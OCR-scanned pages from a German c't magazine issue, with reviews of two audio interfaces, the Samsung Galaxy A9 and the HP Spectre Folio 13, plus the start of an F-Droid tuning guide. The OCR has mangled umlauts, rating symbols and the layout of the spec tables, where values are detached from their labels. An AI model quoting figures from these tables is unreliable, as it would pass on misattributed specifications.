stirkeanpassung. Neben einem integrier-
ten USB-Interface lassen sich noch drei
weitere Stereo-Quellen sowie zwei Mikro-
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fone anschlieflen. Alle Einginge kann
man auch ohne den Rechner abhéren und
direkt auf die Lautsprecher schalten - ent-
weder gemixt oder einzeln.

Beim doppelt so teueren Audient
iD44 muss der PC hingegen immer lau-
fen. Als Besonderheit lasst sich das Signal
von zwei der vier Mikrofoneinginge tiber
Insert-Buchsen an Hardware-Effektgera-
te weiterleiten, bevor es im Rechner lan-
det. Das klappt auch mit Gitarren und
Béssen, die man tiber zwei DI-Buchsen an
der Front direkt anschlief3t. Sie teilen sich
die Kanile mit den ersten beiden Mikro-
fonen. Alternativ lassen sich tiber Kom-
bibuchsen (XLR und symmetrische
TRS-Klinke) auch Hochpegelsignale von
Synthesizern und anderen Instrumenten
aufnehmen.

Beide Interfaces bringen jeweils zwei
Kopthoreranschliisse mit, die sich mit un-
terschiedlichen Signalen beschicken las-
sen. Im Big Knob Studio+ wurde ein Talk-
back-Mikrofon zur Verstindigung mit
einem Aufnahmeraum eingebaut. Auf
Wunsch kann man aber auch ein separa-
tes Mikrofon anschliefden und per Fufdtas-
ter schalten.

Wihrend beim Big Knob die Um-
schalter fiir Mono, Mute und Dim vorge-
geben sind, kann man die Funktionen der

Schalter des iD44 per Software einstellen
- ebenso wie das Routing der Einginge
auf die einzelnen Ausginge. Vier Spei-
cherplitze stehen fiir verschiedene Kom-
binationen zur Wahl und lassen sich im
Gerit ablegen. So kann man das Interface
dank USB Class Compliance auch ohne
Treiber unter Linux und iOS nutzen.
Verzichten muss man dann jedoch auf die
iD-Taste, die es Giber den grofden Endlos-
regler erlaubt, beliebige Parameter einer
Musik-Software unter dem Mauszeiger
einzustellen.

Neuer Messrekord

Audient rechtfertigt den deutlich hoheren
Preis des iD44 gegentiber dem Big Knob
mit einer weitaus besseren Signalqualitét.
Beider Wiedergabe erreicht das iD44 mit
einer Dynamik von 126 dB(A) einen Spit-
zenwert, den bei ¢’t noch kein Audio-
Interface zuvor erreichte. Das Big Knob
liefert mit knapp 102 dB(A) hingegen nur
Durchschnittskost - da schaffen selbst
viele Onboard-Sound-Chips eine bessere
Dynamik.

Den exzellenten Eindruck wiederholt
das iD44 auch bei der Aufnahme: Mit
knapp 114 dB(A) liegt es bei hochpegeli-
gen Line-Signalen nahezu gleichauf mit
dem fast viermal so teuren UFX 2 von
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Die analogen Ein- und Ausgédnge des Audient iD44
lassen sich liber zwei ADAT-Anschliisse nebst BNC-

Buchse fiir das Clock-Signal erweitern.

RME - besser geht es kaum. Da ist es nur
zu drgerlich, dass die Gain-Regler unseres
Testmusters nicht exakt gleich justiert
waren. Beim Anschlag der analogen Reg-
ler auf Minimum wurde der zweite Kanal
um etwa ein Dezibel lauter aufgenommen
als der erste. Um eine exakt gleiche Aus-
steuerung zu bekommen, ist also Fumme-
lei notig.

Das Big Knob fillt hier stark ab. Mit
weniger als 94 dB(A) erreicht die Dyna-
mik am Line-Eingang nicht mal CD-
Qualitdt. Deutlich besser klappt die
direkte Durchleitung von Signalen: Mit
108 dB(A) hort man selbst bei extremen
Lautstdrken kein Rauschen - wenn auch
einige Spitzen-Interfaces das besser kon-
nen. Dazu gehort etwa auch die giinstige
passive Ausfiihrung des Big Knob, die
Mackie als Umschalter fiir rund 70 Euro
anbietet. ,,Passiv meint hier zwar nicht
unverdandert, aber immerhin blieben
von den maximal mdglichen 142 dB(A)
unseres Signalgenerators von Rohde &
Schwarz nach der Durchleitung durch
den Big Knob Passive sehr gute 116 dB(A)
iibrig.

Nicht fiir jedes Mikrofon

Licht und Schatten fanden wir hingegen
bei den Mikrofon-Vorverstirkern von
Audient: Sensationell gut peppeln sie re-
lativ starke Signale von -27 dBV (rund
45 mV) auf und erreichen dabei fast die
gleiche Dynamik wie bei Line-Signalen.
Fiir Kondensator-Mikrofone ist das super.
Am Big Knob fillt die Dynamik beim sel-
ben Eingangspegel hingegen um fast
20 dB schlechter aus.

Bei schwicheren Signalen, wie sie
etwa dynamische Mikrofone erzeugen,
fallt die Leistung des iD44 jedoch stark ab.
Bei maximaler Verstirkung von 57 dB
bleibt nur noch eine Dynamik von
81dB(A) iibrig. Das schafft auch das giins-
tigere Big Knob. Mit pegelschwachen Mi-
krofonen droht bei Aufnahmen ein deut-
lich horbarer Rauschteppich. Hier sollte
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Am Mackie Big Knob Studio+ kann man zwar alle Eingdnge
auf die Lautsprecher routen, am PC nimmt es jedoch nur

eine Stereoquelle oder einen Mix auf.

man in einen separaten Vorverstirker
oder ein besseres Audio-Interface aus
dem Vergleichstest in [1] investieren.

Fazit

Wer auf beste Klangqualitit Wert legt,
greift zum Audient iD44, das sowohl bei
der Wiedergabe als auch bei der Aufnah-
me eine wesentlich bessere Qualitét ab-
liefert als das Big Knob Studio+. Seine
Wiedergabequalitat iiberfligelt selbst
Audio-Interfaces, die das Vierfache kos-
ten. Die Moglichkeit des Einschleifens von
Hardware-Effekten ist praktisch - wenn
man denn solche direkt bei der Aufnahme
einsetzen will. Das Big Knob Studio+ ist

Audio-Interfaces

zum Umschalten verschiedener Eingangs-
und Ausgangsquellen tiberaus komforta-
bel zu bedienen. Die Qualitéit der durch-
geleiteten Signale ist den meisten Abhor-
situationen im Studio gewachsen - ledig-
lich bei kritischen Mastering-Aufgaben
nimmt man es besser aus dem Signalweg.
Das eingebaute USB-Interface des Big
Knob liefert hingegen nur Durchschnitt-
liches. Fiir anspruchsvolle Aufnahmen
greift man besser zu einem hochwertigen
Audio-Interface. (hag@ct.de) c&

Literatur

[1] Musikhochburg, Sechs edle Audio-Interfaces im

Vergleich, c't 11/2017, S. 100

Hersteller Audient, audient.com
max. Abtastfrequenz / Wortbreite 96 kHz / 24 Bit
PC-Kanéle Eingang / Ausgang 20/24

Betriebssysteme macOS ab 10.7, Windows ab 7
Anschliisse USB-C (class compliant)
analoge Ausgange 4 Mono-Kandle: 4 TRS-Klinke, 2 TRS-Klinke

Send, 2 Kopfhrer
analoge Eingénge

digitale Anschliisse 2 ADAT In/Out, BNC-Clock

Roundtrip-Latenz mac0S / Windows
(48 kHz, Ableton Live 10)

Ausgang: Dynamik / max. Pegel 126,0 dB(A) / 15,7 dBV
Ausgang: Klirrf. / Frequenzg.- Abweichung 0,001 % / 0,1 dB

Line-in (min. Gain, 10 Ohm): 26,0 dBV / 113,8 dB(A)
max. Pegel / Dynamik

Line-in: Klirrf. / Frequenzg.-Abweichung 0,01 % /0,8 dB
Dynamik direkte Durchleitung -

Mic (-27 dBV, 200 Ohm): Dynamik 112,3 dB(A)

Mic (200 Ohm): max. Gain / Dynamik 57,1 dB /81,0 dB(A)
EIN (Mic. 200 Ohm, A-bewertet) -124,1 dBV

4 Mono-Kanle: 2 D.I. TS-Klinke, 4 TRS/XLR-
Kombi, 2 TRS-Klinke Return

7,9 ms (64 Samples) / 5,3 ms (32 Samples)

Mackie, mackie.com

192 kHz / 24 Bit

2/4

Windows, mac0S, Linux, i0S

USB 2.0 (class compliant)

7 Stereo-Kanale: 10 TRS-Klinke, 2 Kopfhdrer

3 Mono-, 3 Stereo-Kanale: 6 TRS-Klinke,
2 TRS/XLR-Kombi, 1 XLR, 3,5-mm-Stereo-Klinke

7,9 ms (64 Samples) / 5,3 ms (32 Samples)

101,9 dB(A) / 19,5 dBV
0,006 % /0,5 dB
19,7 dBV /93,4 dB(A)

0,004 % /1,2 dB
108,1 dB(A)

93,9 dB(A)

57,6 dB / 82,3 dB(A)
-122,3 dBV

T

Wiedergabe / Durchleitung @D /-
Aufname Line / Mic @D/ ®
Latenz macOS / Windows ®/®
Bedienung / Ausstattung ®/®

Preis circa 570 €
Modellvarianten iD 22 (370 €)

@@ sehrgut @ gut QO zufriedenstellend

© schlecht

O/ ®®

O/0

®/®

@D/ ®

circa 270 €

Big Knob Studio (200 €)
©0 sehr schlecht

V/ vorhanden  — nicht vorhanden
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Langlauf-Handy

mit Sehschwache

Samsung Galaxy A9 mit vier Kameras

und 2x-Tele

Beim Fotografieren mit dem Handy
bringt schon ein Zweifach-Tele
einen echten Vorteil, da der
~Turnschuh-Zoom* nichtin jeder
Situation méglich ist. Solche Tele-
Sensoren waren bislang den teuren
Smartphones vorbehalten - nun
bringt Samsung das A9 fiir

500 Euro, und es hat direkt noch

eine zusitzliche Weitwinkelkamera.

Zudem wartet es mit einer
ungewohnlich langen Laufzeit auf.

Von Jorg Wirtgen
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S chon das Huawei Mate 20 sieht so
aus, als hitte es vier Kameras, aber
eines der vier runden Dinger in der Riick-
seite ist einfach nur der Blitz - erst beim
Samsung Galaxy A9 bekommt man wirk-
lich vier.

Die Hauptkamera nimmt Fotos mit
24 Megapixeln auf. Sie zeigen stimmige
Farben und eine gute Schattenauflosung.
Doch Details und feine Strukturen er-
scheinen verwaschen und kraftlos, Schrift
und Linien verfalscht, als hitte ein Entrau-
schen- und Nachschirfealgorithmus tiber
die Striange geschlagen. Das Abschalten
aller Automatiken und die Reduzierung
der Auflosung auf 12 Megapixel dndern
daran nichts. Unter nachlassendem Licht

nimmt das Rauschen ertréglich zu; bis
hinab zu 5 Lux entstehen noch brauchbare
Aufnahmen. Videos nimmt sie mit maxi-
mal 4K-Auflosung auf, dabei und auch bei
Full HD allerdings nur mit 30 fps.

Die Telekamera aktiviert man durch
ein Baumsymbol in der Foto-App. Sie liefert
durchaus gute Fotos - weit detailreichere
als ein Digitalzoom der Hauptkamera. Den
High-End-Teles etwa des Note 9 ist sie un-
terlegen, aber beispielsweise die Teles des
alteren OnePlus 5 und des giinstigeren
Nokia 7 Plus tibertriftt sie locker. Laut Da-
tenblatt hat die Kamera 10 Megapixel, die
App speicherte allerdings welche mit 24
Megapixel, die nicht auffillig hochgerech-
net aussahen. Bei 80 Lux war das Tele noch
aktiv, bei 20 Lux springt die lichtstirkere
Hauptkamera im Digitalzoom an -das ma-
chen alle Handy-Telekameras dhnlich.

Das Weitwinkel verzerrt stark bei mé-
iger Schirfe und Detailauflosung, zeigt
aber schone Farben - mehr ist von den
Handy-Weitwinkeln derzeit nicht zu er-
warten, flir Partyschnappschiisse und Er-
innerungen reichts. Wer die Bergwande-
rung in besserer Qualitit behalten und
etwas Zeit investieren mochte, nutzt lieber
den Panoramamodus oder stitcht mehrere
Aufnahmen der Hauptkamera manuell.

Die vierte Kamera liefert Tiefen-
informationen fiirs kiinstliche Bokeh der
Hauptkamera, in der App Live-Fokus ge-
nannt. Die Ergebnisse fallen gut aus, aber
nicht besser als das, was beispielsweise
S9+ und Note 9 aus der Telekamera als
Unscharfe-Hilfe herausholen oder was
die Google Pixel algorithmisch hinbe-
kommen.

Display und Gehause

Das Display zeigt kriaftige OLED-Farben
und erreicht eine einigermafien sonnen-
taugliche maximale Helligkeit von tiber
650 cd/m?. Auf 6,3 Zoll zeigt es 2220 x
1080 Punkte, also aufs Seitenformat ver-
breitertes Full HD, was eine Punktdichte
von 393 dpi ergibt. Pixelig ist das Display
dadurch nicht, aber kritische Augen er-
kennen im Vergleich zu den bei High-End-
Displays tiblichen 500 dpi einen leichten
OLED-Kanteneffekt und etwas weniger
Schirfe.

Das Gehiuse wirkt mit breiten Rén-
dern eher altmodisch, ein IP-zertifizierter
Schutz gegen Spritzwasser oder Staub
fehlt. Der Mono-Lautsprecher spielt ver-
zerrungsfrei mit leichtem Bass auf, er-
reicht aber eine nur méfiige maximale
Lautstirke. Das GPS-Modul arbeitete gut,

c't 2019, Heft 2



die Ortungsschwierigkeiten des Galaxy A7
(siehe ¢’t 26/2018, S. 112) beobachteten

wir hier nicht.

Hardware

Der Prozessor gibt ausreichend Gas,
nichts fiihlt sich langsam an. An den
Benchmark-Ergebnissen sieht man, dass
es nur ein Mittelklasse-Antrieb ist, der
zudem nach ungewohnlich kurzer Voll-
last-Zeit schon drosselt, was im Alltag
aber nur bei Anwendungen wie Video-
schnitt auffallen diirfte. Auch beim Ga-
ming fehlt Schwung - doch die Spiele-
hersteller achten drauf] dass ihre meisten
3D-Spiele auf'solchen Mittelklasse-Gera-
ten noch fliissig laufen, mindestens mit
heruntergedrehten Details.

Mit 6 GByte Hauptspeicher und 128
GByte Flash ist das A9 komfortabel aus-
gestattet. Eine MicroSD-Karte findet in
der grofden Schublade zusitzlich zu zwei
SIMs Platz, doch Samsung-typisch lésst sie
sich nicht als interner Speicher formatie-
ren. Damit steht der Platz nur fiir Fotos,
Videos und andere von Apps explizit dort
abgelegte Daten zur Verfiigung.

Die Laufzeiten fielen auflergewohn-
lich lang aus, die fast 16 Stunden beim
WLAN-Surfen tibertreffen sogar die bis-
her bei 15 Stunden liegenden Spitzenrei-
ter. Auch die Ladezeit ist kurz.

Fazit

Fett Speicher, hervorragende Laufzeiten,
schones Display, ausreichend Perfor-
mance - flir 500 Euro liefert das A9 eine
Menge.

Die Kamera sieht auf den ersten Blick
eher wie Marketing aus: 24-Megapixel-
Fotos und eine separate Tiefenkamera, wo
andere Smartphones mit 12 Megapixeln
und nur einem Tele statt Tiefenkamera
bessere Fotos aufnehmen. Zudem bewarb
Samsung das A9 fiir Frithbesteller mit
einem Gutschein fiir Turnschuhe und
hatte angekiindigt, auch der stiickzahlen-
starkeren Mittelklasse Verkaufsargumen-
te zu liefern, nicht nur den Flaggschiffen.
Doch die Telekamera ist gut, das Weitwin-
kel zumindest nicht schlechter als das an-
derer Handys. Somit bietet das A9 eine in
dieser Preisklasse unerreichte Flexibilitat
bei allerdings klassentiblicher Qualitat.

Wenn bessere Fotos gewiinscht sind,
kommen die auf einen dhnlichen Preis ge-
fallenen Spitzengerite wie das Galaxy S9
oder Google Pixel 2 infrage. Eine Teleka-
mera gibts aber erst beim Galaxy S9+ (ab
600 Euro) oder inzwischen anderthalb
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Das Galaxy A9 hat
eine gute Schatten-
auflésung, aber die
Struktur im Holz wirkt
verschmiert, das Netz
tiberscharft, Schrift
und Linien zeigen
unschone Artefakte.

Jahre alten Note 8 (ab 500 Euro). Der
nichste Kandidat mit Weitwinkel und
Tele ware das Huawei Mate 20 ab etwa
600 Euro, dann aber nur mit 4 GByte
Speicher und IPS statt OLED; hier besser
ware erst das Huawei Mate 20 Pro ab 900
Euro. Steht eine hohere Rechen- und Spie-

Android-Smartphone | Test
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ab etwa 550 Euro erste Modelle mit Snap-
dragon 845, darunter das OnePlus 6T
oder Sony XZ2 Compact, denen wieder-
um ein Tele fehlt. Insgesamt ist also
das Gesamtpaket des A9 aus flexibler Ka-
mera, langen Laufzeiten, gutem Display
und viel Speicher zu diesem Preis durch-

leleistung auf dem Wunschzettel, gibt es  aus interessant. (jow@ct.de) €€

Android-Smartphone
(Mool »
‘ Hersteller / Farben, Varianten Samsung / Schwarz, Blau, Pink
Android 8.0.0 / 1. Oktober 2018
Display 6,3 Zoll OLED / 14,4 cm X 7 cm / 2220 x 1080 Pixel / 393 dpi / 2 ... 659 cd/m?
reea
‘ Hauptkamera Aufldsung / Blende / OIS / Pixel 24,1 MP / /1,7 / — / 5664 x 4248
Zweitkamera Auflosung / Blende / OIS / Pixel 24,1 MP / /2,4 | — / 5664 X 4248 (Zweifach-Tele)
Drittkamera Aufldsung / Blende / OIS / Pixel 8MP/ /2,4 / — ] 3264 x 2448 (Weitwinkel)
Selfie-Kamera Aufldsung / Blende / OIS / Pixel 24,1 MP / /2 / — ] 5664 x 4248
e
Prozessor / Kerne X Takt / GPU Qualcomm Snapdragon 660 / 4 X 2,2 GHz, 4 X 1,8 GHz / Adreno 512
RAM / Flash-Speicher / Kartenslot 6 GByte / 128 GByte (108,1 GByte) / v/ (MicroSD)
LTE (Band 1/3/7/8/20/28/32) / Dual-SIM / SAR-Wert  Cat. 9, 450/50 MBit/s (v'/v/IV/INv/IN/Iv/1=) | 2 x nanoSIM / 0,351 W/kg
WLAN (Antennen) / Bluetooth / NFC / Ortung Wifi 5, 802.11ac (2) / 5.0 / v/ / GPS, Glonass, Beidou, Galileo
USB-Anschluss / Kopfhdreranschluss Typ-C (USB 2.0), OTG, kein DisplayPort / v/
Akku / Ladezeit / Drahtlosladen 3800 mAh /1,7 h mit mitgeliefertem Netzteil / —
Abmessungen / Gewicht / Schutzklasse 16,3cmx 7,7cmx0,8cm/183g/—
[Mesrgn ten et
Laufzeiten bei 200 cd/? Helligkeit 15,8 h lokales Video / 8,8 h 3D-Spiel / 15,9 h Surfen / 14,9 h Videostream
Coremark Single / Multi / Geekbench Single / Multi 10352 /57075 / 1610 / 5594
GFXBench Car Chase / Manhattan 3.0 8,4 fps Onscreen / 9 fps Offscreen / 21 fps Onscreen / 22 fps Offscreen

Betriebssystem / Security Level

3DMark Sling Shot Extreme / Ice Storm Unlimited 1357/ 25195
StraRenpreis 500 €
V/ vorhanden ~ — nicht vorhanden
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Vom Leder

gezogen

Edel-Notebook HP Spectre Folio 13

mit Amber Lake

Das lautlose Spectre Folio 13
bestiickt HP nicht nur mit
besonders energieeffizienten
Komponenten, sondern hiillt es
auch in elegantes Leder.

Von Florian Miissig

luminium, Magnesium, Glas, Bam-

bus, Kohlefaser, Alcantara - die Liste
an Werkstoffen jenseits von Kunststoff, die
bei Notebooks zum Einsatz kommen, ist
in den vergangenen Jahren stets langer ge-
worden. HP schickt nun ein weiteres Ma-
terial ins Rennen: echtes Leder. Beim
Spectre Foliol3 bestehen Deckelauf3ensei-
te, Unterseite und Handballenablage voll-
standig daraus. Die Tastatureinfassung ist
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aus Metall und vor dem Bildschirm sitzt
eine Glasscheibe, doch auch dort lduft
noch ein Lederrand ringsherum. Anders
als man denken konnte ist das Leder keine
abnehmbare Hiille, sondern integraler Be-
standteil des Gehauses. Es dient aber nicht
nur der Optik, sondern sorgt auch fiir eine
angenehme Haptik und verhindert ein He-
rumrutschen auf dem Schreibtisch.

HP verwendet nach eigenen Anga-
ben ein gehirtetes Leder, das im Laufe
der Zeit keine Patina entwickeln soll und
auch nach der regelméfigen Benutzung
mit eingecremten Handen nicht schmud-
delig aussehen soll. Beides konnen wir
mangels Langzeiterfahrung nicht tiber-
priifen. Auch wird sich im Laufe der Zeit
erst noch zeigen miissen, wie gut die
Kanten Stof3e und Schlédge bei der Nut-
zung auf dem Schreibtisch oder beim
Transport im Rucksack wegstecken.

Zwei besonders belastete Stellen sind
die Lederverkleidungen der beiden Schar-
niere. Ja, richtig gelesen: Das Spectre Folio
hat derer zwei. Eines befindet sich wie tib-
lich zwischen Rumpfund Deckel und dient
dem Aufklappen des Deckels. Sein Off-
nungswinkel ist vergleichsweise klein; auf
dem Schreibtisch wiirde man den Deckel
gerne etwas weiter 6ffnen - wenngleich
man dank des IPS-Bildschirms nie ver-
filschte Farben zu Gesicht bekommt.

Das zweite Scharnier sitzt in der
Mitte des geteilten Deckels. Das Display
ist nur am oberen Teil des Deckels befes-
tigt, sodass andere Nutzungsmodi als der
klassische Notebook-Betrieb mdglich
sind: Bei beengten Platzverhiltnissen -
etwa in Zug oder Flugzeug - kann man
den Touchscreen zum Videogucken nach
vorne holen; Magnete halten die untere
Kante fest zwischen Touchpad und Leer-
taste in Position. Auch im Notebook-Be-
trieb schlackert der Bildschirm nicht
herum, sondern wird ebenfalls von Mag-
neten fixiert.

Alternativ kann man den Deckel mit
Bildschirm nach auflen zuklappen. Dies
diirfte der priferierte Modus zum Zeich-
nen oder fiir handschriftliche Notizen
sein. Hierfiir liegt dem Notebook ein ak-
tiver Stift bei, und zwar HPs neueste Ite-
ration: Der Tilt Pen erkennt die Neigung
relativ zum Bildschirm. Wenn auch das
Malprogramm mitspielt, was etwa bei Art
Rage und Sketchable der Fall ist, dann
wechselt man ganz natlirlich zwischen
feinen Linien und Schraffur.

Amber Lake
Technisch baut das Spectre Folio 13 auf
Intels Amber-Lake-Plattform auf. Der
verwendete Core i7-8500Y aus der Y-
Klasse - frither hieflen solche CPUs
Core m - hat ein Abwirme-Budget von
5 Watt und zwei CPU-Kerne plus Hyper-
Threading. Damit erreicht er zwar nicht
die hohe Rechenleistung von Notebooks
mit Core-i-8000-Vierkernern, hat aber
immer noch genug Power fiir alltdgliche
Office-Aufgaben und Multimedia-Wie-
dergabe. Fiir letztere ist er sogar besser
geeignet als ein hinsichtlich der reinen
CPU-Rechenleistung dquivalentes, meh-
rere Jahre altes Notebook: Die integrierte
Grafikeinheit UHD 615 spielt Videos in
allen gangigen Codecs ohne CPU-Last ab.
Ein weiterer Vorteil: Anders als im
MacBook Air wird der Amber-Lake-Pro-
zessor hier passiv gekiihlt; das Spectre
Folio bleibt also durchgingig lautlos. Auf
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die Performance hat das keinen Einfluss:
Beide Gerite erzielen im Rahmen der
Messgenauigkeit identische Benchmark-
Ergebnisse. Und schlieflich schluckt das
HP-Notebook weniger Strom: Bei auf 100
cd/m? abgedunkeltem Bildschirm und ge-
ringer Systemlast haben wir mehr als 40
Stunden Akkulaufzeit gemessen.

Im 2000 Euro teuren Testgerat ste-
hen dem Prozessor 16 GByte LPDDR3-
Arbeitsspeicher und eine rasante 1-TByte-
SSD zur Seite. Mit 512er-SSD sind 1800
Euro aufgerufen; giinstigere Ausstat-
tungsvarianten gibt es nicht. Im Laufe der
Zeit sollen noch Modelle mit integriertem
LTE-Modem folgen sowie solche mit
rotem statt braunem Leder.

Im Datenblatt findet man alternativ
einen Bildschirm mit 4K-Auflosung, doch
ob er auch hierzulande kommen wird, ist
unklar. Wenn, dann miisste man starke
Einschrankungen bei der Akkulaufzeit
hinnehmen: Es hat den drei- bis vier-
fachen Energieverbrauch der Full-HD-
Variante, was bei einem Gesamtverbrauch
von weniger als 2 Watt bei ruhendem
Desktop grofde Auswirkungen hat.

Bei den Schnittstellen setzt HP voll
auf USB-C und baut drei solcher Buchsen
ein. Die zwei rechts sprechen Thunder-
bolt 3 und USB 3.1 Gen 2 (SuperSpeed-
Plus, 10 GBit/s), die eine links USB 3.0
(SuperSpeed, 5 GBit/s). DisplayPort-Sig-
nale geben alle drei aus, und auch das
USB-C-Netzteil kann an allen dreien
angeschlossen werden. Dank einer IR-
Kamera kann man sich komfortabel mit-
tels Windows Hello einloggen, ein SD-
Kartenleser fehlt.

Das Tippgefiihl auf der beleuchteten
Tastatur tiberzeugt mit ausreichend Hub
und prazisem Anschlag auch Vielschrei-
ber. An das Layout muss man sich ge-
wohnen, weil sowohl der Cursor-Block
als auch die Enter-Taste in eine Zeile ge-
quetscht wurden. Posl, Ende, Bild-Auf
und -Ab stehen hingegen als separate
Tasten zur Verfiigung - das ist nicht
selbstverstandlich.

Fazit

Schnelle SSD, lautloser Betrieb, extrem
lange Laufzeit, Stiftbedienung, ausrei-
chend CPU-Leistung und moderne
Schnittstellen - das Spectre Folio 13 kostet
viel, bietet dafiir aber auch etliches. Durch
das Leder-Kleid hat es eine génzlich andere
Optik und Haptik als bekannte Notebooks,
wodurch man als stolzer Besitzer zweifels-
ohne auffallt. (mue@ct.de) €€
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Notebook | Test

Hybrid mal anders: Ein zweites Scharnier im Deckel erlaubt Nutzungsmodi abseits

des klassischen Notebook-Betriebs.

HP Spectre Folio 13: Daten und Testergebnisse

getestete Konfiguration
Lieferumfang

‘ Schnittstellen (V = vorne, H = hinten, L = links, R = rechts, U = unten)

ak0020ng
Windows 10 Home 64 Bit, Netzteil, Stift, Adapter USB-C auf USB-A

VGA / DVI / HDMI / DisplayPort / Kamera
USB2.0/USB 3.0/USB 3.1/ LAN
Kartenleser / Strom / Docking-Anschluss

USB-C: Thunderbolt / USB 3.0 / USB 3.1 / DisplayPort / Laden

Display
Prozessor

Hauptspeicher / Chipsatz

Grafikchip (Speicher) / mit Hybridgrafik
Sound

LAN / WLAN

Mobilfunk / Bluetooth (Stack)

Touchpad (Gesten) / TPM / Fingerabdruckleser
Massenspeicher / optisches Laufwerk

—I=l=1=1Y
—/IXLXTypC)/2XR2XTypC)/—
_/_/_

VIVIVIVIV

sy~

AU0572D: 13,3 Zoll / 33,7 cm, 1920 x 1080, 16:9, 166 dpi,
20 ... 358 cd/m?, spiegelnd

Intel Core i7-8500Y (2 Kerne mit HT), 1,5 GHz (Turbo bis 4,2 GHz),
2 X 256 KByte L2-, 4 MByte L3-Cache

16 GByte LPDDR3-1866 / Intel Amber-Lake-Y

int.: Intel UHD 615 (vom Hauptspeicher) / —

HDA: Realtek ALC285

— / PCle: Intel Dual Band Wireless-AC 8265 (a/b/g/n-300/ac-867)
optional / USB: Intel (Microsoft)

PS/2: Synaptics (max. 4 Finger) /TPM 2.0 / —

SSD: Samsung PM981 (1024 GByte) / —

‘ Stromversorgung, Mafie, Gewicht

Akku / wechselbar / Ladestandsanzeige
Netzteil

Gewicht / GroRe / Dicke mit FiiRen
Tastaturhdhe / Tastenraster

47 Wh Lithium-lonen / — / —

65W, 309 g, 8,8 cm x 5,3 cm X 2,1 cm, Kleeblattstecker
1,47kg/322cmx235¢cm/1,5..1,8cm
0,7cm/19 mm x 18,5 mm

‘ Leistungsaufnahme

Suspend / ausgeschaltet

ohne Last (Display aus / 100 cd/m? / max)
CPU-Last / Video / 3D-Spiele (max. Helligkeit)
max. Leistungsaufnahme / Netzteil-Powerfactor

LIW/09W
1L,9W/35W/49W
352W/86W/24TW
63,5W/0,57

‘ Laufzeit, Gerdusch, Benchmarks

Laufzeit Idle (100 cd/m?) /Video (200 cd/m?) / 3D (max)
Ladezeit / Laufzeit nach 1h Laden

Gerdusch ohne / mit Rechenlast

Massenspeicher lesen / schreiben

I0PS (4K) lesen / schreiben

WLAN 5 GHz / 2,4 GHz (20m) / MU-MIMO-fahig

Qualitat Audioausgang / Dynamikumfang

CineBench R15 Rendering (1 / n CPU)

3DMark (Night Raid / Sky Diver / Fire Strike / Time Spy)

40,7h (1,2W) /10,9 h (4,3W) /4,6 h (10,3W)
1,2h/343h

2629,2 / 2248,6 MByte/s

60127 / 74225

15,6 /17,5 MByte/s / v/

®/102,7 dB(A)

115/216

3114 /3255 /823 / 286

‘ Preis und Garantie

StraRenpreis Testkonfiguration
Garantie

@@ sehrgut @ gut QO zufriedenstellend

2000 €
2 Jahre

©O sehr schlecht ~ +/ vorhanden  — nicht vorhanden
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Praxis | App Store fiir Android

Feintuning fir F-Droid

Wie Sie den alternativen App-Store fiir Android-

Smartphones ausreizen

F-Droid ist ein Anlaufpunkt fiir
privatsphirenfreundliche Apps.
Mit etwas Feinschliff konnen Sie
Apps leichter installieren und
andere App-Quellen nutzen.

Von Andreas Itzchak Rehberg

er App-Store F-Droid ist eine gute

Wahl fiir Android-Nutzer, die auf
eine kontrollierbare Privatsphére im Shop
und Apps Wert legen.

Eine kleine Unbequemlichkeit be-
steht allerdings: Bei jeder Installation
einer App aus F-Droid - und bei Updates
- fragt der im Android-System integrierte
Package-Manager nach, ob die fragliche
App wirklich installiert werden soll. Das
ist bei alten Android-Versionen mit globa-
ler Fremd-App-Sperre und bei Android 9
mit gezielter Freigabe fiir F-Droid so und
einfach lastig. Ladt man Apps aus dem
Google Play Store, gibt es solche Riickfra-
gen nicht, weil der Play Store eine System-
App ist und F-Droid nicht. Nur System-
Apps diirfen ohne Riickfrage Apps und
Updates dafiir installieren.

Die F-Droid-App kann man zu einer
solchen System-App machen. Das erledigt
die F-Droid Privilege Extension (siehe
ct.de/yjb5). Bei Gerdten mit vorinstallier-
tem F-Droid ist sie bereits integriert und
das Custom ROM LineageOS for microG
hat sie ebenfalls. Um sie nachtraglich zu in-
stallieren, bedarf es ein wenig Arbeit. Lei-
der bringt nicht jedes Android-Smartphone
die nétigen Voraussetzungen mit.

Zum einen: Der Bootloader des Smart-
phones muss entsperrt sein. Aufderdem
muss ein Custom Recovery wie TWRP ent-
weder installiert oder per fastboot boot ge-
laden sein. Das ist nicht ohne Risiko, denn
bei solchen Eingriffen besteht die Gefahr,
sein kostbares Smartphone zu ,,bricken”,
es also unbrauchbar zu machen [1].

Sind beide Eingangshtirden tiberwun-
den, ist die Installation nicht sonderlich
schwer. Uber https://f-droid.org /packa-
ges/org.fdroid.fdroid.privileged.ota be-
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kommt man die ZIP-Datei des Installa-
tionsprogramms. Diese laden Sie auf Thr
Smartphone und flashen es mit der Cus-
tom Recovery - der Mentipunkt heifdt ,,in-
stall from zip“.

Nach der Installation startet man das
Gerit neu (Mentipunkt ,,reboot system").
Damit ist F-Droid mit allen Privilegien
einer System-App integriert. Apps werden
dann ohne Extrariickfrage des Package
Managers installiert. Auflerdem sind
damit automatische Updates moglich.

Andere App-Kataloge
verwenden

Ladt man bei F-Droid Apps auf sein
Smartphone, kommen die aus einem Re-
pository, auf Deutsch Paketquelle. Der F-
Droid-Store nutzt als Voreinstellung sein
offizielles Repository. Es sind noch drei
weitere vorkonfiguriert: Im ,,F-Droid Ar-
chive® gibt es éltere Versionen von Apps.
Die kann man gebrauchen, wenn man
Funktionen nutzen will, die bei einem Up-
date wegfielen oder weil die neue Version
zickt. Ein weiteres Repository greift auf
Apps aus dem Guardian-Projekt zu. Es
konzentriert sich auf Apps, die besonders
rigiden Sicherheitsanforderungen gent-
gen missen. Dafiir gibt es ebenfalls ein
Archiv-Repository fiir éltere Versionen.

Die vorkonfigurierten Paketquellen
entsprechen den strengen Privatsphire-
Anforderungen des F-Droid-Projektes.
Man kann auch andere Repositories ein-
binden, zum Beispiel welche von Entwick-
lern flir ihre Tester oder von Anbietern,
deren Apps es nicht in den offiziellen
F-Droid-Store geschafft haben.

Wer als App-Nutzer eine solche Dritt-
quelle einbindet, muss sich der Risiken
bewusst sein: Was bei fremden Anbietern
im Katalog ist, muss zwar nicht automa-
tisch unsicher sein, aber das Angebot steht
aufSerhalb dessen, was das F-Droid-Team
verantwortet.

Im F-Droid-Forum gibt es eine Liste
mit interessanten Paketquellen, die von
jedem Forumsmitglied bearbeitet und
kommentiert werden darf. Dariiber hi-

naus kuratiert das F-Droid-Team eine
Liste im eigenen Wiki. Der Autor des Ar-
tikels betreibt selbst eine Liste von Paket-
